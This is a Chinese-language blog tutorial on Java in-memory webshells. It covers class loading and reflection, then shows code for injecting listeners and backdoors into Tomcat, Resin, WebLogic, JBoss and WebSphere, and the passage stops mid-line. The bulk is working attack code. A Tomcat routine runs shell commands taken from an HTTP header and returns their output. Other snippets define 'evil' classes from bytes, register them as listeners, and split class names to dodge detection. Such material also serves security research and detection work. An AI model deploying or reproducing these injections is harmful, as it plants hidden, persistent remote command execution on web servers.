一文深度学习java内存马

admin 2024年12月3日09:43:10评论6 views字数 42618阅读142分3秒阅读模式

1. 前言

java内存马注入一般分为两种

  • 动态注册添加新的listener/filter/servlet/controller等等
  • agent注入修改已有class,插入恶意代码

在理解内存马注入前,有几个概念需要掌握的。

  • 类加载
  • 双亲委派问题以及context
  • 类反射

2. 基础

2.1. class对象

java中的对象可以分为两种对象:Class对象和实例对象

  1. 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象
  2. 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取并操作它的引用
  3. 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。JVM不会创建两个相同类型的Class对象

一文深度学习java内存马Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过调用类加载器中的 defineClass 方法自动构造的,因此不能显式地声明一个Class对象。

2.2.类加载

一个类被加载到内存并供我们使用需要经历如下三个阶段:

  • 加载,这是由类加载器(ClassLoader)执行 的。通过一个类的全限定名来获取其定义的二进制字节流(Class字节码),将这个字节流所代表的静态存储结构转化为方法去的运行时数据接口,根据字节码在java堆中生成一个代表这个类的java.lang.Class对象
  • 链接。在链接阶段将验证Class文件中的字节流包含的信息是否符合当前虚拟机的要求,为静态域分配存储空间并设置类变量的初始值(默认的零值),并且如果必需的话,将常量池中的符号引用转化为直接引用。
  • 初始化。到了此阶段,才真正开始执行类中定义的java程序代码。用于执行该类的静态初始器和静态初始块,如果该类有父类的话,则优先对其父类进行初始化

所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载触发类加载的方式

  • Class.forName("类的全限定名")
  • new 类构造方法

除了上述方式,还可以通过网络加载字节码方式来调用外部类

  • oadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用findclass
  • findclass:根据名称或位置加载.class字节码,然后使用defineClass
  • defineclass:解析定义.class字节流,返回class对象
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

classloader推荐

jxxload_help.PathVFSJavaLoader#loadClassFromBytes org.python.core.BytecodeLoader1#loadClassFromBytes sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl ass java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource) org.mozilla.classfile.DefiningClassLoader#defineClass org.mozilla.javascript.DefiningClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

类装载器是用来把类(class)装载进 JVM 的。JVM 规范定义了两种类型的类装载器:启动类装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 JVM在运行时会产生3个类加载器组成的初始化加载器层次结构 ,如下图所示:

一文深度学习java内存马
//1、获取系统类的加载器 ClassLoader classLoader = ClassLoader.getSystemClassLoader(); System.out.println(classLoader); //2. 获取系统类加载器的父类加载器(扩展类加载器,可以获取). classLoader = classLoader.getParent(); System.out.println(classLoader); //3. 获取扩展类加载器的父类加载器(引导类加载器,不可获取). classLoader = classLoader.getParent(); System.out.println(classLoader);

2.3. 类反射

其实就是获取Class对象,然后调用该对象进行一系列操作

  • Class: 是一个类; 一个描述类的类
  • 封装了描述方法的 Method
  • 描述字段的 Filed
  • 描述构造器的 Constructor 等属性

如何得到 Class 对象

  1. Person.class
  2. person.getClass()
  3. Class.forName("com.atguigu.javase.Person")

关于 Method

如何获取 Method:

  1. getDeclaredMethods: 得到 Method 的数组
  2. getDeclaredMethod(String methondName, Class ...parameterTypes) 可以拿到反射类中的公共方法、私有方法、保护方法、默认访问,但不获得父类方法
  3. getMethod(String methondName, Class ... parameterTypes)可以拿到反射类及其父类中的所有公共方法, 但无法获取私有方法

如何调用 Method

  1. 如果方法时 private 修饰的, 需要先调用 Method 的setAccessible(true), 使其变为可访问
  2. method.invoke(obj, Object ... args)

关于 Field

如何获取 Field: getField(String fieldName)

如何获取 Field 的值

  1. setAccessible(true)
  2. field.get(Object obj)

如何设置 Field 的值

  1. field.set(Obejct obj, Object val)

如果属性用 final 修饰的,需要获取Field的mofilers属性,将FINAL约束去掉,则可修改

一文深度学习java内存马ips:数组反射

声明数组对象Array.newInstance(int.class, 3);数组class

Class intArray = Class.forName("[I"); Class byteArray = Class.forName("[B"); Class stringArrayClass = Class.forName("[Ljava.lang.String;"); // 上面的字符串可以通过打印来观察 System.out.println(LinkOption[].class); // 输出 class [Ljava.nio.file.LinkOption; // 取巧 Class theClass = getClass(theClassName); Class stringArrayClass = Array.newInstance(theClass, 0).getClass();

获取数组值

Array.get(obj, index);

2.4. 双亲委派

双亲委派的作用:

  1. 为了保证相同的class文件,在使用的时候,是相同的对象,jvm设计的时候,采用了双亲委派的方式来加载类,防止相同类的重复加载。一般来说应用启动的时候会有统一的AppClassLoader来加载项目里的class
  2. 保证启动类加载器优先加载,防止JDK的class被篡改

打破双亲委派:ClassLoader#loadClass方法就是以双亲委派逻辑编写的,只要继承ClassLoader重写loadClass去掉双亲委派的代码就可以打破双亲委派。也可以通过defineclass绕过loadclass。

tomcat类加载器需要破坏双亲委派机制

tomcat是个web容器,要解决以下问题

  1. 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离
  2. 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类库被加载进JVM
  3. web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
  4. web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持HotSwap功能
  • 架构图
一文深度学习java内存马

tomcat自己定义的类加载器

  1. CommonClassLoader:tomcat最基本的类加载器,加载路径中的class可以被tomcat和各个webapp访问
  2. CatalinaClassLoader:tomcat私有的类加载器,webapp不能访问其加载路径下的class,即对webapp不可见
  3. SharedClassLoader:各个webapp共享的类加载器,对tomcat不可见
  4. WebappClassLoader:webapp私有的类加载器,只对当前webapp可见
  5. JspClassLoader
  • 每一个web应用程序对应一个WebappClassLoader,每一个jsp文件对应一个JspClassLoader,所以这两个类加载器有多个实例

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的

  • Engine:最顶层容器组件,其下可以包含多个 Host
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • Wrapper:一个 Wrapper 代表一个 Servletsrping

    一文深度学习java内存马

3. 动态注册方式注入

关于各个协议和组件的内存马的构造思路其实都大同小异

  1. 分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否控制响应内容
  2. 然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即
  3. 一般的流程就是request->context->addListener/addFilter

我怎么拿到当前请求的request对象,request对象里一般会有context,context里面一般都有一些注册组件的方法或者变量存储

需要注意问题

  1. 如果不是web相关类加载器,可能出现类加载报类找不到的问题,这是因为双亲委派隔离
  2. 如果用当前上下文的类加载,则相同类名只能加载一次

要解决上面两个问题,就是基于当前上下文的类加载去new一个新的类加载器。如下用Mlet就是一种方法

new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader())

参考代码

java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader()), new Object[]{classBytes, new Integer(0), new Integer(classBytes.length)});

在研究中间件之前,最好去了解下该中间件的发展历史,有哪些版本,因为不同版本的代码肯定会有不同层度的改动,你的内存马是否适配每个版本是个问题

3.1. tomcat

tomcat5无法拿到catalinaLoader,所以需要遍历所有的线程,通过如下判断可以获取Catalina对应的线程,然后就是继续挖掘request类

for (int i = 0; i < threads.length; i++) {            if (threads[i].getName().contains("ContainerBackgroundProcessor")) {                 o = getFieldValue(threads[i], "target");                if (!(o instanceof Runnable)) {                    continue;               }           }       }

tomcat5-9

public static void echo() throws Exception{Object o;Object resp = null;boolean done = false;try {java.lang.reflect.Method getThreadsM =Thread.class.getDeclaredMethod("getThreads", new Class[0]);getThreadsM.setAccessible(true);Thread[] threads = (Thread[])getThreadsM.invoke(null, new Object[0]);for (int i = 0; i < threads.length; i++) {String name = threads[i].getName();if(name.contains("ContainerBackgroundProcessor") ||(!name.contains("exec") && name.contains("http"))) {o = getFieldValue(threads[i], "target");if (!(o instanceof Runnable)) {continue;}try {Object connectionHandler = null;try {Object[] connectors = (Object[])getFieldValue(getFieldValue(getFieldValue(o, "this$0"),"service"), "connectors");for (int j = 0; j <connectors.length; j++) {Object connector =connectors[j];// tomcat5/6/7connectionHandler =getFieldValue(getFieldValue(connector, "protocolHandler"),"cHandler");if (connectionHandler == null) {// tomcat8connectionHandler =getFieldValue(getFieldValue(connector, "protocolHandler"),"handler");} else {break;}}}catch (Exception e) {// tomcat9connectionHandler =getFieldValue(getFieldValue(o, "this$0"), "handler");}java.util.ArrayList processors =(java.util.ArrayList)getFieldValue(getFieldValue(connectionHandler, "global"),"processors");for (int j = 0; j < processors.size();j++) {Object processor =processors.get(j);Object req =getFieldValue(processor, "req");String s = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"Accept-Encoded"});if (s != null && !s.isEmpty()) {Object conreq =req.getClass().getMethod("getNote", new Class[]{int.class}).invoke(req, new Object[]{new Integer(1)});try {resp =conreq.getClass().getMethod("getResponse", newClass[0]).invoke(conreq, new Object[0]);} catch (Exception e) {resp =getFieldValue(getFieldValue(conreq, "request"), "response");}resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Transfer-encoded", "chunked"});done = true;byte[] cmdBytes;if (s.equals("echo") ) {cmdBytes =System.getProperties().toString().getBytes();} else {String[] cmd =System.getProperty("os.name").toLowerCase().contains("window") ?new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",s};cmdBytes = newjava.util.Scanner(newProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();}writeBody(resp, "======" + newString(cmdBytes) + "======");}if (done) {break;}}}catch (Exception e) {continue;}}}} catch (Exception ex) {writeBody(resp, ex.toString());}}

通过request获取context

// 获取context    private static Object getContext(Object request) throws Exception {        Object context = null;        try {            // all           context = getFieldValue(request, "context");       } catch (Exception e) {            try {                // tomcat6                context = invoke(request, "getContext");           } catch (Exception ignored) {                try {                    // tomcat7以上                    context = invoke(request, "getServletContext");               } catch (Exception ignored1) {                    // resin3                    context = invoke(request, "getWebApp");               }           }       }        return context;   } // get standardContext Object applicationContextFacade = geContext(request); // 获取ApplicationContext对象 Object applicationContext = getFieldValue(applicationContextFacade, "context"); // 获取StandardContext对象 Object standardContext = getFieldValue(applicationContext, "context");

添加listener

getMethodByClass(standardContext.getClass(), "setApplicationEventListeners", Object[].class).invoke(standardContext, new Object[] {newListeners.toArray()});

一文深度学习java内存马3.2. 半自动化挖掘

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

工具链接: https://github.com/lz520520/java-object-searcher

将java-object-searcher-.jar引入到目标应用的classpath中,或者可以放在jdk的ext目录(一劳永逸)

编写调用代码搜索目标对象

以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate中执行

//设置搜索类型包含Request关键字的对象 Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()); //定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("CompoundClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),keys);// SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();

SearchRequstByBFS_log 日志文件开头

比如tomcat的request搜索

一文深度学习java内存马

3.3. spring

Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestCo ntextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]); Object httprequest =  requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]); Object httpresponse =  requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]); Object servletContext =   httprequest.getClass().getMethod("getServletContext", new Class[0]).invoke(requestAttributes, new Object[0]);

3.4. resin

3.4.1. resin4记录

resin很体贴,他的 com.caucho.server.webappWebApp类直接提供了添加方法,如下调用 addListenerObject 即可添加。

servletContext = invoke(httprequest, "getServletContext"); Object webApp = servletContext; Method addListenerObjectM =  getMethodByClass(webApp.getClass(), "addListenerObject", new Class[]{Object.class, boolean.class}); // 实例化,并修改pwd java.lang.reflect.Method m = Class.forName("java.lang.C"+ "lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class, int.class, int.class); m.setAccessible(true); Class clazz = (Class) m.invoke(new javax.management.loading.MLet(new java.net.URL[0], Thread.currentThread().getContextClassLoader()),clazzBytes, 0, clazzBytes.length); Object listener = clazz.newInstance(); addListenerObjectM.invoke(webApp, new Object[]{listener, true});

一文深度学习java内存马3.4.2. resin3记录

resin3和resin4添加流程基本一样。区别就在于获取WebApp类的方法,resin4是getServletContext,而resin3是 getWebApp

servletContext = invoke(httpServletRequest, "getWebApp");

而resin3还存在一个bug,如果listener里调用了response写入数据,那么响应包就会出现chunked编码,并且还包含原来的Content-Length,可能导致解析异常,如下yakit获取直到30秒超时才响应

一文深度学习java内存马还有个区别,如下获取request,3和4获取的实现类不一样,3是com.caucho.server.http.HttpRequest,而4是com.caucho.server.http.HttpServletRequestImpl

Thread.currentThread().getContextClassLoader().loadClass("com.ca ucho.server.dispatch.ServletInvocation").getMethod("getContextRe quest").invoke(null);

3.5. weblogic

3.5.1. 12.1.3以上

ServletRequestImpl是放在currentWork->connectionHandler->request而10.3.6则是currentWork= ServletRequestImpl ,这里主要区别,除此之外,10.3.6的context没有phase

Object currentWork =((ExecuteThread) Thread.currentThread()).getCurrentWork(); Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandler.setAccessible(true); Object httpConnectionHandler = connectionHandler.get(currentWork); Field requestF = httpConnectionHandler.getClass().getDeclaredField("request"); requestF.setAccessible(true); httpConnectionHandler = requestF.get(httpConnectionHandler); java.lang.reflect.Field contextF = httpConnectionHandler.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler); byte[] evilClassBytes = new BASE64Decoder().decodeBuffer("yv66"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); // 获取webAppServletContext中的classLoader Field classLoaderF = webAppServletContext.getClass().getDeclaredField("classLoader"); classLoaderF.setAccessible(true); ClassLoader classLoader = (ClassLoader) classLoaderF.get(webAppServletContext); Class servletClass = (Class) defineClass.invoke(classLoader, evilClassBytes, 0, evilClassBytes.length); Field phaseF = webAppServletContext.getClass().getDeclaredField("phase"); phaseF.setAccessible(true); Object INITIALIZER_STARTUP =  Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase").getDeclaredField("INITIALIZER_STARTUP").get(null); Object START =  Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase").getDeclaredField("START").get(null); Object OldContextPhase = phaseF.get(webAppServletContext); phaseF.set(webAppServletContext, INITIALIZER_STARTUP); webAppServletContext.registerListener("tools.mem.shells.listener .testCmdListener"); phaseF.set(webAppServletContext, START);

在weblogic启动后,高版本其实是不允许添加listener的,这里会检查如果为START表示启动完毕,则这里会抛出异常

一文深度学习java内存马

checkNotifyDynamicContext  会检查另一项

一文深度学习java内存马这是12.1.3的,12.2.1.3以上会增加AFTER_INITIALIZER_NOTIFY_LISTENER,这里选择

一文深度学习java内存马

3.6. jboss

测试AS6.1 可直接复用tomcat的listener 内存马,原因就是jboss内嵌了tomcat

3.7. WebSphere

WebSphere

version
WebSphereLiberty(ContinuousDelivery)
9.0
8.5.5
8.5LibertyProfile
8.5
8.0
7.0
6.1
6.0
5.1
5.0
4.0
3.5
Latest FixPack
22.0.0.7
9.0.5.12
8.5.5.22
8.5.5.9(the nextis16.0.0.2)
8.5.0.2
8.0.0.15
7.0.0.45
6.1.0.47
6.0.2.43
5.1.1.19
5.0.2
4.0.7
3.5.7
Releasedate
5 July2022
7 June2022
25 July2022
June 15,2012
June 15,2012[5]
June 17,2011
October17,2008
June 30,2006
December31, 2004
January16, 2004
January 3,2003
August15,2001
August31, 2000
End ofsupport
June 24,2016(with thereleaseof16.0.0.2)[6]
April30,2018
April30,2018
September30,2013
September30, 2010
September30, 2008
September30, 2006
April30,2005
November30, 2003
Java SE
6 (until17.0.0.2), 7,7.1, 8 and 11(since19.0.0.1)[10]
8
6 (until8.5.5.13),7, 7.1(since8.5.5.2)and 8(since8.5.5.9)[11]
6, 7, 7.1(since8.5.5.2)and 8(since8.5.5.5)
6 and7[12]
6
6
5
1.4
1.4
1.4
1.3
1.2
Java EE
6 (webprofile) and7[13]
7
6
6 (webprofile)and 7(since8.5.5.6)
6
6
5
1.4
1.4
1.3
13
1.2
1.2 (notfullycompliant)
WebSphereversion
WebSphereLiberty(ContinuousDelivery)
9.0
8.5.5
8.5LibertyProfile
8.5
8.0
7.0
2.4
6.0
5.1
5.0
4.0
3.5
Servlet
3.0,3.1,4.0
3.1
3.0
3.1
3.0
3.0
2.5
2.0
2.4
2.3
2.3
2.2
2.1&2.2
JSP
2.2, 2.3
2.3
2.2
2.3
2.2
2.2
2.1
1.1
2.0
1.2
1.2
1.1
0.91 and1.0&1.1
JSF
2.0, 2.2, 2.3
2.2
2.0
2.2
3.2
2.0
1.2
3.0
1.0
EJB
3.1 (lite), 3.2
3.2
3.1
3.2
1.1
3.1
3.0
3.0
2.1
2.0
2.0
1.1
1.0
JMS
1.0, 2.0
2.0
1.1
1.1
4.1
1.1
1.1
1.1
1.1
1.02
JDBC
4.0, 4.1
4.1
4.1
4.1
4.0
4.0
4.0
3.0
3.0
JPA
2.0, 2.1
2.0,2.1[15]
2.0
2.1
2.0
2.0
1.0
1.0
1.0

3.7.1. 回显

websphere7找不到像8.5那样的调用链, wsThreadLocals 里没有WebContainerRequestState类,所以我得找起来方法,尝试在线程里跑request,但没找到

https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEcho.jsp

在分析堆栈的时候,发现了一个获取web容器的地方如下

com.ibm.ws.webcontainer.WebContainer.getWebContainer()

一文深度学习java内存马接着就找到当前容器的上下文,以及request和response

com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec tionContext()

一文深度学习java内存马这个context有问题,获取connContext后需要用WCCRequestImpl初始化,才能拿到真正的request,所以这个思路是不行了

一文深度学习java内存马继续看了下,发现这里有个静态变量_cacheMap

一文深度学习java内存马

这个连接对象池里会放着已连接过的context,但没啥用,他只是复用连接,还是需要上述通过req res初始化

一文深度学习java内存马

这个方法也能获取到context

WebContainer.getFromCache(new StringBuffer("30.1.20.3:9080/visor_externo/class.jsp"))

一文深度学习java内存马3.7.2. 半自动化搜索备注

Object webapp = ((com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcont ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi sor_externo/*")).webApp; //设置搜索类型包含Request关键字的对象 Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()); //定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("CompoundClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),keys); // SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();
new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()).searchObject();
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}    ---> javaColonCtxt = {javax.naming.InitialContext}     ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot}      ---> _orb = {com.ibm.CORBA.iiop.ORB}       ---> threadGroup = {java.lang.ThreadGroup}        ---> childrenThreads = {class [Ljava.lang.Thread;}         ---> [27] = {java.lang.Thread}          ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}            ---> selector = {sun.nio.ch.EPollSelectorImpl}             ---> fdToKey = {class java.util.HashMap}              ---> [316] = {sun.nio.ch.SelectionKeyImpl}               ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort}                ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel}                 ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}                  ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}                   ---> voidLink = {java.util.LinkedList$Link}                    ---> previous = {java.util.LinkedList$Link}                     ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink}                      ---> reader = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}    ---> javaColonCtxt = {javax.naming.InitialContext}     ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot}      ---> _orb = {com.ibm.CORBA.iiop.ORB}       ---> threadGroup = {java.lang.ThreadGroup}        ---> childrenThreads = {class [Ljava.lang.Thread;}         ---> [27] = {java.lang.Thread}          ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}            ---> selector = {sun.nio.ch.EPollSelectorImpl}             ---> fdToKey = {class java.util.HashMap}              ---> [316] = {sun.nio.ch.SelectionKeyImpl}               ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort}                ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel}                 ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}                  ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}                   ---> voidLink = {java.util.LinkedList$Link}                    ---> previous = {java.util.LinkedList$Link}                     ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink}                      ---> writer = {com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz = Class.forName("com.ibm.ws.webcontainer.WebContainer"); Object webContainer = clazz.getDeclaredMethod("getWebContainer").invoke(null); Object requestMapper = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai ner,"requestMapper"); Object webGroup = requestMapper.getClass().getDeclaredMethod("map", String.class).invoke(requestMapper, ":9080/visor_externo/*"); Object webapp = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup, "webApp"); Object obj0 = webapp; // {javax.naming.InitialContext} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"jav aColonCtxt"); // {com.ibm.ws.naming.java.javaURLContextRoot} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"def aultInitCtx"); // {com.ibm.CORBA.iiop.ORB} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"_or b"); // {java.lang.ThreadGroup} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"thr eadGroup"); // {class [Ljava.lang.Thread;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"chi ldrenThreads"); // {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} Object obj7 = null; for (Thread thread: ((Thread[]) obj5)) {    obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread,"r unnable");    if (obj7 !=null && obj7.getClass().getName().contains("NBAcceptChannelSelector")) {        break;   } } // {sun.nio.ch.EPollSelectorImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"sel ector"); // {class java.util.HashMap} Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT oKey"); Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map) obj9).get(317),"attachment"); Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc pChannel"); Object obj13 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in Use"); Object obj15 = ((java.util.List) ((TCPChannelLinkedList[]) obj13)[0]).get(0); Object obj18 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re ader"); com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req = (com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl) obj18; com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink = (com.ibm.ws.http.channel.inbound.impl.HttpInboundLink) req.getTCPConnLink().getVirtualConnection().getStateMap().get(co m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL); com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink = (com.ibm.ws.webcontainer.channel.WCChannelLink) myLink.getApplicationCallback(); wcChannelLink.request.getHeader("xxx")

3.7.3. 基于request定位context

TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest}  ---> _dispatchContext = {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}   ---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express:    Object obj0 = TargetObject;    // {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}    Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di spatchContext");    // {com.ibm.ws.webcontainer.webapp.WebAppImpl}    Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we bapp");

3.7.4. 基于Thread.currentThread()定位request

这个定位的有问题,不是当前request

argetObject = {com.ibm.ws.util.ThreadPool$Worker}    ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}     ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}      ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}       ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool}        ---> free = {class [Ljava.lang.Object;}         ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}          ---> future = {com.ibm.io.async.AsyncFuture}             ---> channel = {com.ibm.io.async.AsyncSocketChannel}              ---> channelVCI = {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}               ---> stateStore = {interface java.util.Map}                ---> [WCChannelLink] = {com.ibm.ws.webcontainer.channel.WCChannelLink}                 ---> request = {com.ibm.ws.webcontainer.channel.WCCRequestImpl} idea_express:    Object obj0 = TargetObject;    // {java.lang.ThreadLocal$ThreadLocalMap}    Object obj1 = 